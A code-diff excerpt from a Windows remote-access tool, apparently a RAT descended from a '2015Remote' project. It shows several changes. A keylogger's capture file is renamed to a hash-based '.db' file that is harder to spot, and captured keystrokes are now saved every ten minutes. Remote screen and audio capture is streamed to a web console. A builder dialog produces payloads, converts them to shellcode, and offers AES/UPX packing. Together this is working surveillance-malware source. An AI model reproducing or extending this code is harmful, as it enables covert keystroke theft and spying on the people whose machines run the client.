9 Commits
v1.3.5 ... main

24 changed files with 1655 additions and 150 deletions

View File

@@ -552,7 +552,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
// The main ClientApp. // The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort()); settings.SetServer(list[0].c_str(), settings.ServerPort());
} }
if (!app.m_bShared) { static bool hasRun = false;
if (!app.m_bShared && !hasRun) {
hasRun = true;
auto a = cfg.GetStr("settings", "share_list"); auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|'); auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) { for (int i = 0; i < shareList.size(); ++i) {

View File

@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_bIsOfflineRecord = offline; m_bIsOfflineRecord = offline;
char path[MAX_PATH] = { "C:\\Windows\\" }; char path[MAX_PATH] = { "C:\\Windows\\" };
GET_FILEPATH(path, skCrypt(KEYLOG_FILE)); GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path); strcpy_s(m_strRecordFile, path);
m_Buffer = new CircularBuffer(m_strRecordFile); m_Buffer = new CircularBuffer(m_strRecordFile);
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
GET_PROCESS(DLLS[USER32], GetAsyncKeyState); GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
HDESK desktop = NULL; HDESK desktop = NULL;
clock_t lastCheck = 0; clock_t lastCheck = 0;
auto lastSave = time(0);
while(pThis->m_bIsWorking) { while(pThis->m_bIsWorking) {
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) { if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
#if USING_KB_HOOK #if USING_KB_HOOK
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
continue; continue;
} }
Sleep(5); Sleep(5);
auto tm = time(0);
if (tm - lastSave > 600) {
lastSave = tm;
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
}
#if USING_KB_HOOK #if USING_KB_HOOK
clock_t now = clock(); clock_t now = clock();
if (now - lastCheck > 1000) { if (now - lastCheck > 1000) {

View File

@@ -7,8 +7,6 @@
#include "Manager.h" #include "Manager.h"
#include "stdafx.h" #include "stdafx.h"
#define KEYLOG_FILE "keylog.xml"
#if ENABLE_KEYBOARD==0 #if ENABLE_KEYBOARD==0
#define CKeyboardManager1 CManager #define CKeyboardManager1 CManager

View File

@@ -150,6 +150,12 @@ public:
int m_GOP; // 关键帧间隔 int m_GOP; // 关键帧间隔
bool m_SendKeyFrame; // 发送关键帧 bool m_SendKeyFrame; // 发送关键帧
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器ensureEncoder() lazy 创建,走 EncoderFactory 探测 std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器ensureEncoder() lazy 创建,走 EncoderFactory 探测
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
// false 时禁止 skip——避免单显示器路径
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
// 且被 GetFirstScreenData 预先填过同帧像素,
// 导致首帧 memcmp 错误命中、跳过 encode、
// 永远不产 IDR → web 黑屏
int m_nScreenCount; // 屏幕数量 int m_nScreenCount; // 屏幕数量
BOOL m_bEnableMultiScreen;// 多显示器支持 BOOL m_bEnableMultiScreen;// 多显示器支持
@@ -949,6 +955,7 @@ public:
} }
*ulNextSendLength = 1 + offset + encoded_size; *ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size); memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
break; break;
} }
default: default:
@@ -974,9 +981,14 @@ public:
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期 // 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
// 维持 100-200 KB/s每 4s GOP 还叠加一个 IDR。整帧 memcmp BGRA // 维持 100-200 KB/s每 4s GOP 还叠加一个 IDR。整帧 memcmp BGRA
// 找出真无变化帧直接跳过 encode仅发 cursorx264 走这里也省 CPU 无副作用。 // 找出真无变化帧直接跳过 encode仅发 cursorx264 走这里也省 CPU 无副作用。
//
// m_bEncoderPrimed 门encoder 还没产出过任何包时不允许 skip。
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
LPBYTE prev = GetFirstBuffer(); LPBYTE prev = GetFirstBuffer();
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage; ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
if (prev && memcmp(nextData, prev, bgraSize) == 0) { if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
*ulNextSendLength = 1 + offset; // 仅 cursor无视频负载 *ulNextSendLength = 1 + offset; // 仅 cursor无视频负载
return m_RectBuffer; return m_RectBuffer;
} }
@@ -987,6 +999,7 @@ public:
} }
*ulNextSendLength = 1 + offset + encoded_size; *ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size); memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义skip 才安全
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码 // 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
// 失败时下一帧会误以为"已发"而漏发真实变化。 // 失败时下一帧会误以为"已发"而漏发真实变化。
memcpy(prev, nextData, bgraSize); memcpy(prev, nextData, bgraSize);

View File

@@ -2609,7 +2609,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
} }
#endif #endif
} }
if (pThis->m_pCaptureClient == nullptr)
break;
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable); pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength); hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);

View File

@@ -9651,6 +9651,25 @@ void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
} }
} }
bool CMy2015RemoteDlg::PostWebAudioToggle(uint64_t clientID)
{
HWND hWnd = NULL;
EnterCriticalSection(&m_cs);
for (auto& pair : m_RemoteWnds) {
CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
if (dlg && dlg->GetClientID() == clientID && dlg->IsWebSession()) {
hWnd = dlg->GetSafeHwnd();
break;
}
}
LeaveCriticalSection(&m_cs);
if (hWnd && ::IsWindow(hWnd)) {
// PostMessage 把活儿丢到对话框的 UI 线程,避免 WS 线程动 waveOut 句柄
return ::PostMessage(hWnd, WM_AUDIO_TOGGLE_FROM_WEB, 0, 0) != 0;
}
return false;
}
void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID) void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
{ {
CScreenSpyDlg* targetDlg = nullptr; CScreenSpyDlg* targetDlg = nullptr;

View File

@@ -373,6 +373,7 @@ public:
void RemoveRemoteWindow(HWND wnd); void RemoveRemoteWindow(HWND wnd);
void CloseRemoteDesktopByClientID(uint64_t clientID); void CloseRemoteDesktopByClientID(uint64_t clientID);
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
bool PostWebAudioToggle(uint64_t clientID); // 给 Web 会话 ScreenSpy 投递音频开关消息
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无 CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
void UpdateActiveRemoteSession(CDialogBase* sess); void UpdateActiveRemoteSession(CDialogBase* sess);
CDialogBase* GetActiveRemoteSession(); CDialogBase* GetActiveRemoteSession();

View File

@@ -627,15 +627,15 @@ void CBuildDlg::OnBnClickedOk()
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED; BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
if (checked) { if (checked) {
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl); strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
if (m_sDownloadUrl.IsEmpty()) MessageBoxL(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION); if (m_sDownloadUrl.IsEmpty()) MessageBoxL(_TR("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
} }
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : tip = payload.IsEmpty() ? _TR("\r\n警告: 没有生成载荷!") :
checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; checked ? _TR("\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。") : _TR("\r\n提示: 载荷文件必须拷贝至程序目录。");
} }
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize); BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
if (r) { if (r) {
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1); r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
if (!r) tip = "\r\n警告: 生成载荷失败!"; if (!r) tip = _TR("\r\n警告: 生成载荷失败!");
} else { } else {
MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION); MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
} }
@@ -647,7 +647,7 @@ void CBuildDlg::OnBnClickedOk()
} else if (sel == CLIENT_PE_TO_SEHLLCODE) { } else if (sel == CLIENT_PE_TO_SEHLLCODE) {
int pe_2_shellcode(const std::string & in_path, const std::string & out_str); int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString()); int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
if (ret)MessageBoxL(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()), if (ret)MessageBoxL(_TR("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
"提示", MB_ICONINFORMATION); "提示", MB_ICONINFORMATION);
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本 } else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
sel == CLIENT_COMP_SC_AES_OLD_UPX) { sel == CLIENT_COMP_SC_AES_OLD_UPX) {
@@ -927,7 +927,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
} }
} else { } else {
m_OtherItem.SetWindowTextA("未选择文件"); m_OtherItem.SetWindowTextA(_TR("未选择文件"));
} }
m_OtherItem.ShowWindow(SW_SHOW); m_OtherItem.ShowWindow(SW_SHOW);
} else { } else {

View File

@@ -18,6 +18,7 @@
#include <md5.h> #include <md5.h>
#include <cstdint> // for uint16_t #include <cstdint> // for uint16_t
#include <vector> #include <vector>
#include <mutex> // for std::mutex, std::lock_guard
#include "WebService.h" #include "WebService.h"
// 文件接收消息数据结构 // 文件接收消息数据结构
@@ -223,6 +224,8 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
int width = m_BitmapInfor_Full->bmiHeader.biWidth; int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight); int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height); WebService().NotifyResolutionChange(m_ClientID, width, height);
// 透传客户端初始的音频开/关状态给 web让前端按钮显示正确
WebService().NotifyAudioState(m_ClientID, m_Settings.AudioEnabled != 0);
} }
} }
@@ -567,6 +570,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone) ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk) ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete) ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
ON_MESSAGE(WM_AUDIO_TOGGLE_FROM_WEB, &CScreenSpyDlg::OnAudioToggleFromWeb)
ON_WM_DROPFILES() ON_WM_DROPFILES()
ON_WM_CAPTURECHANGED() ON_WM_CAPTURECHANGED()
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -3494,9 +3498,73 @@ void CScreenSpyDlg::StopAudioPlayback()
#endif #endif
m_nAudioCompression = 0; m_nAudioCompression = 0;
// 重置网页端音频格式标志(线程安全的清理)
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
m_bAudioFormatSent = FALSE;
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
}
Mprintf("[ScreenSpy] 音频播放已停止\n"); Mprintf("[ScreenSpy] 音频播放已停止\n");
} }
void CScreenSpyDlg::DisableAudio()
{
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅禁用
if (m_Settings.AudioEnabled) {
m_Settings.AudioEnabled = FALSE;
SendAudioCtrl(CYCLEAUDIO_DISABLE, 1);
StopAudioPlayback();
// 清理网页端格式状态(在 mutex 保护下)
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
m_bAudioFormatSent = FALSE;
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
}
Mprintf("[Audio Web] 禁用音频(来自 web 命令)\n");
// 广播状态给所有正在观看本设备的 web 客户端
if (WebService().IsRunning()) {
WebService().NotifyAudioState(m_ClientID, false);
}
}
}
void CScreenSpyDlg::EnableAudio()
{
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅启用
if (!m_Settings.AudioEnabled) {
m_Settings.AudioEnabled = TRUE;
SendAudioCtrl(CYCLEAUDIO_ENABLE, 1);
// 强制重新发送格式信息(清理缓存)
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
m_bAudioFormatSent = FALSE;
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
}
Mprintf("[Audio Web] 启用音频(来自 web 命令)\n");
if (WebService().IsRunning()) {
WebService().NotifyAudioState(m_ClientID, true);
}
}
}
// 由 PostMessage 从 WS 线程派发到 UI 线程;根据当前状态翻转
LRESULT CScreenSpyDlg::OnAudioToggleFromWeb(WPARAM /*wParam*/, LPARAM /*lParam*/)
{
if (m_Settings.AudioEnabled) {
DisableAudio();
} else {
EnableAudio();
}
return 0;
}
void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len) void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
{ {
if (len < 1) return; if (len < 1) return;
@@ -3535,12 +3603,20 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
UINT32 audioLen = len - offset; UINT32 audioLen = len - offset;
if (audioLen == 0) return; if (audioLen == 0) return;
// 保存"上线格式"字节Opus 模式下是原始压缩包PCM 模式下是原始 PCM
// 这就是要透传给 web 的数据 —— web 端用 MSE+WebM 直接播 Opus
// 不需要服务器解码后再发 PCM。本地 waveOut 仍然需要 PCM因此下面
// 还是会解码一遍。
BYTE* pWireData = pAudioData;
UINT32 wireLen = audioLen;
BYTE wireCompression = (BYTE)m_nAudioCompression;
// 帧对齐参数 // 帧对齐参数
DWORD blockAlign = m_AudioFormat.nBlockAlign; DWORD blockAlign = m_AudioFormat.nBlockAlign;
if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit
#if USING_OPUS #if USING_OPUS
// Opus 解码 // Opus 解码(仅供本地 waveOut 使用web 仍会收到原始压缩包)
if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) { if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder; COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2); int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
@@ -3583,10 +3659,104 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen); Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
} }
// 发送上线格式Opus 压缩包 / 或原始 PCM到网页
SendAudioToWeb(pWireData, wireLen, &m_AudioFormat, wireCompression);
// 填充可用的 waveOut 缓冲区 // 填充可用的 waveOut 缓冲区
FeedAudioBuffers(); FeedAudioBuffers();
} }
void CScreenSpyDlg::SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression)
{
if (!WebService().IsRunning()) return;
if (!pAudioData || len == 0) return;
if (!m_ContextObject) return;
if (!m_Settings.AudioEnabled) return;
std::vector<BYTE> packet;
BOOL formatChanged = FALSE;
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
if (!m_bAudioFormatSent) {
formatChanged = TRUE;
} else if (pFormat && (
pFormat->nChannels != m_AudioFormatWeb.channels ||
pFormat->nSamplesPerSec != m_AudioFormatWeb.sampleRate ||
pFormat->wBitsPerSample != m_AudioFormatWeb.bitsPerSample ||
compression != m_AudioFormatWeb.compression)) {
formatChanged = TRUE;
}
// 第1字节是否包含格式信息
packet.push_back(formatChanged ? 1 : 0);
if (formatChanged && pFormat) {
if (pFormat->nChannels < 1 || pFormat->nChannels > 8 ||
pFormat->nSamplesPerSec < 8000 || pFormat->nSamplesPerSec > 48000 ||
pFormat->wBitsPerSample != 16) {
Mprintf("[Audio Web] Invalid format: ch=%d, sr=%d, bps=%d\n",
pFormat->nChannels, pFormat->nSamplesPerSec, pFormat->wBitsPerSample);
return;
}
// 12-byte AudioFormat 结构commands.h, pack(1)
AudioFormat fmt;
fmt.channels = (WORD)pFormat->nChannels;
fmt.sampleRate = (DWORD)pFormat->nSamplesPerSec;
fmt.bitsPerSample = (WORD)pFormat->wBitsPerSample;
// blockAlign 对 Opus 是 informational 的(包是变长压缩),按 PCM 推算填上即可。
fmt.blockAlign = (WORD)(fmt.channels * fmt.bitsPerSample / 8);
fmt.compression = compression;
fmt.reserved = 0;
BYTE* pFmt = (BYTE*)&fmt;
packet.insert(packet.end(), pFmt, pFmt + sizeof(fmt));
// padding byte: 保持后续音频数据落在偶数偏移上PCM 模式下 web 端
// 需要 Int16 对齐Opus 模式无所谓但保留兼容旧 web 解析)
packet.push_back(0);
m_AudioFormatWeb = fmt;
m_bAudioFormatSent = TRUE;
Mprintf("[Audio Web] Format sent: ch=%d, sr=%d Hz, compression=%d\n",
fmt.channels, fmt.sampleRate, fmt.compression);
}
} // 释放 mutex
// 添加音频数据(此操作不需要 mutex因为我们已经复制了所有需要的共享状态
packet.insert(packet.end(), pAudioData, pAudioData + len);
// 构造完整帧:[DeviceID:4][FrameType:1][DataLen:4][audio payload...]
// FrameType: 96 = TOKEN_SCREEN_AUDIO用于在网页端识别音频
std::vector<BYTE> frame;
uint64_t deviceID = GetClientID();
uint32_t audioDataLen = (uint32_t)packet.size();
uint8_t frameType = 96; // TOKEN_SCREEN_AUDIO
// [DeviceID:4] little-endian
frame.push_back((BYTE)(deviceID & 0xFF));
frame.push_back((BYTE)((deviceID >> 8) & 0xFF));
frame.push_back((BYTE)((deviceID >> 16) & 0xFF));
frame.push_back((BYTE)((deviceID >> 24) & 0xFF));
// [FrameType:1]
frame.push_back(frameType);
// [DataLen:4] little-endian
frame.push_back((BYTE)(audioDataLen & 0xFF));
frame.push_back((BYTE)((audioDataLen >> 8) & 0xFF));
frame.push_back((BYTE)((audioDataLen >> 16) & 0xFF));
frame.push_back((BYTE)((audioDataLen >> 24) & 0xFF));
// [audio payload]
frame.insert(frame.end(), packet.begin(), packet.end());
// 广播到所有网页客户端
WebService().BroadcastH264Frame(deviceID, frame.data(), frame.size());
}
void CScreenSpyDlg::FeedAudioBuffers() void CScreenSpyDlg::FeedAudioBuffers()
{ {
if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return; if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;

View File

@@ -9,6 +9,7 @@
#include "2015RemoteDlg.h" #include "2015RemoteDlg.h"
#include "common/config.h" #include "common/config.h"
#include "common/commands.h" // 包含 AudioFormat 定义
extern "C" extern "C"
{ {
@@ -92,6 +93,9 @@ extern "C"
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理) // 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200) #define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201) #define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
// 来自 web 命令的音频开关PostMessage 到对话框的 UI 线程,避免 WS 线程
// 直接动 waveOut 句柄
#define WM_AUDIO_TOGGLE_FROM_WEB (WM_USER + 0x202)
// ScreenSpyDlg 系统菜单命令 ID // ScreenSpyDlg 系统菜单命令 ID
enum { enum {
@@ -349,11 +353,23 @@ public:
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区 short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
#endif #endif
// 网页端音频发送状态
BOOL m_bAudioFormatSent = FALSE; // 是否已发送格式信息到网页
AudioFormat m_AudioFormatWeb = {}; // 上次发送给网页的格式
// 音频到网页的多线程同步
std::mutex m_AudioWebMutex; // 保护音频发送状态的互斥锁
// 注意m_Settings.AudioEnabled 是全局的音频启用/禁用状态
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据 void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放 BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
void StopAudioPlayback(); // 停止音频播放 void StopAudioPlayback(); // 停止音频播放
void DisableAudio(); // 禁用音频(从网页命令)
void EnableAudio(); // 启用音频(从网页命令)
LRESULT OnAudioToggleFromWeb(WPARAM wParam, LPARAM lParam); // PostMessage 处理器
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令 void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
void FeedAudioBuffers(); // 填充音频缓冲区 void FeedAudioBuffers(); // 填充音频缓冲区
void SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression); // 发送音频到网页 (compression=AudioCompression)
int GetClientRTT(); // 获取客户端RTT(ms) int GetClientRTT(); // 获取客户端RTT(ms)
void EvaluateQuality(); // 评估并调整质量 void EvaluateQuality(); // 评估并调整质量

View File

@@ -396,6 +396,8 @@ void CWebService::ServerThread(int port) {
HandleKey(ws_ptr, msg); HandleKey(ws_ptr, msg);
} else if (cmd == "rdp_reset") { } else if (cmd == "rdp_reset") {
HandleRdpReset(ws_ptr, token); HandleRdpReset(ws_ptr, token);
} else if (cmd == "audio_toggle") {
HandleAudioToggle(ws_ptr, token);
} else if (cmd == "get_salt") { } else if (cmd == "get_salt") {
HandleGetSalt(ws_ptr, msg); HandleGetSalt(ws_ptr, msg);
} else if (cmd == "create_user") { } else if (cmd == "create_user") {
@@ -689,14 +691,16 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
} }
} }
// Get screen dimensions from device info cache (may not be available yet) // Get screen dimensions + audio state from device info cache (may not be ready)
int width = 0, height = 0; int width = 0, height = 0;
int audio_enabled = -1; // -1 = unknown yet (前端走 audio_state 事件兜底)
{ {
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex); std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id); auto it = m_DeviceCache.find(device_id);
if (it != m_DeviceCache.end()) { if (it != m_DeviceCache.end()) {
width = it->second->screen_width; width = it->second->screen_width;
height = it->second->screen_height; height = it->second->screen_height;
audio_enabled = it->second->audio_enabled;
} }
} }
@@ -710,6 +714,9 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
res["width"] = width; res["width"] = width;
res["height"] = height; res["height"] = height;
} }
if (audio_enabled >= 0) {
res["audio_enabled"] = (audio_enabled != 0);
}
res["algorithm"] = "h264"; res["algorithm"] = "h264";
Json::StreamWriterBuilder builder; Json::StreamWriterBuilder builder;
@@ -1002,6 +1009,33 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
} }
} }
void CWebService::HandleAudioToggle(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "Invalid token"));
return;
}
uint64_t device_id = 0;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) device_id = it->second.watch_device_id;
}
if (device_id == 0) {
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No device connected"));
return;
}
// 投递到 ScreenSpyDlg 的 UI 线程;那边会调用 Enable/DisableAudio 并通过
// NotifyAudioState 把新状态广播给所有 watching 的 web 客户端
if (!m_pParentDlg || !m_pParentDlg->PostWebAudioToggle(device_id)) {
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No active screen session"));
return;
}
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", true));
}
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// User Management Handlers // User Management Handlers
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
@@ -1511,6 +1545,16 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME); CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
device["name"] = AnsiToUtf8(name); device["name"] = AnsiToUtf8(name);
// 用户在 MFC 端给这台主机起的备注(菜单"修改备注"写入 MAP_NOTE
// 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
if (m_pParentDlg->m_ClientMap) {
CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
ctx->GetClientID(), MAP_NOTE);
if (!remark.IsEmpty()) {
device["remark"] = AnsiToUtf8(remark);
}
}
CString ip = ctx->GetClientData(ONLINELIST_IP); CString ip = ctx->GetClientData(ONLINELIST_IP);
device["ip"] = AnsiToUtf8(ip); device["ip"] = AnsiToUtf8(ip);
@@ -1699,6 +1743,37 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
} }
} }
void CWebService::NotifyAudioState(uint64_t device_id, bool enabled) {
if (m_bStopping) return;
// 缓存最新状态,新加入的 web 客户端通过 connect_result 取到初值
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id);
if (it == m_DeviceCache.end()) {
m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
it = m_DeviceCache.find(device_id);
}
it->second->audio_enabled = enabled ? 1 : 0;
}
Json::Value res;
res["cmd"] = "audio_state";
res["id"] = device_id;
res["enabled"] = enabled;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendText(ws_ptr, json);
}
}
}
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) { void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
if (m_bStopping) return; if (m_bStopping) return;

View File

@@ -55,6 +55,8 @@ struct WebDeviceInfo {
int screen_width; int screen_width;
int screen_height; int screen_height;
bool online; bool online;
// 当前会话的音频开关。-1=未知(客户端 BITMAPINFO 还没回来0=关1=开
int audio_enabled = -1;
// Keyframe cache for new web clients // Keyframe cache for new web clients
std::vector<uint8_t> keyframe_cache; std::vector<uint8_t> keyframe_cache;
@@ -98,6 +100,10 @@ public:
// Resolution change notification // Resolution change notification
void NotifyResolutionChange(uint64_t device_id, int width, int height); void NotifyResolutionChange(uint64_t device_id, int width, int height);
// Audio enable/disable notification — pushes current state to all web
// clients watching this device and caches it for newcomers.
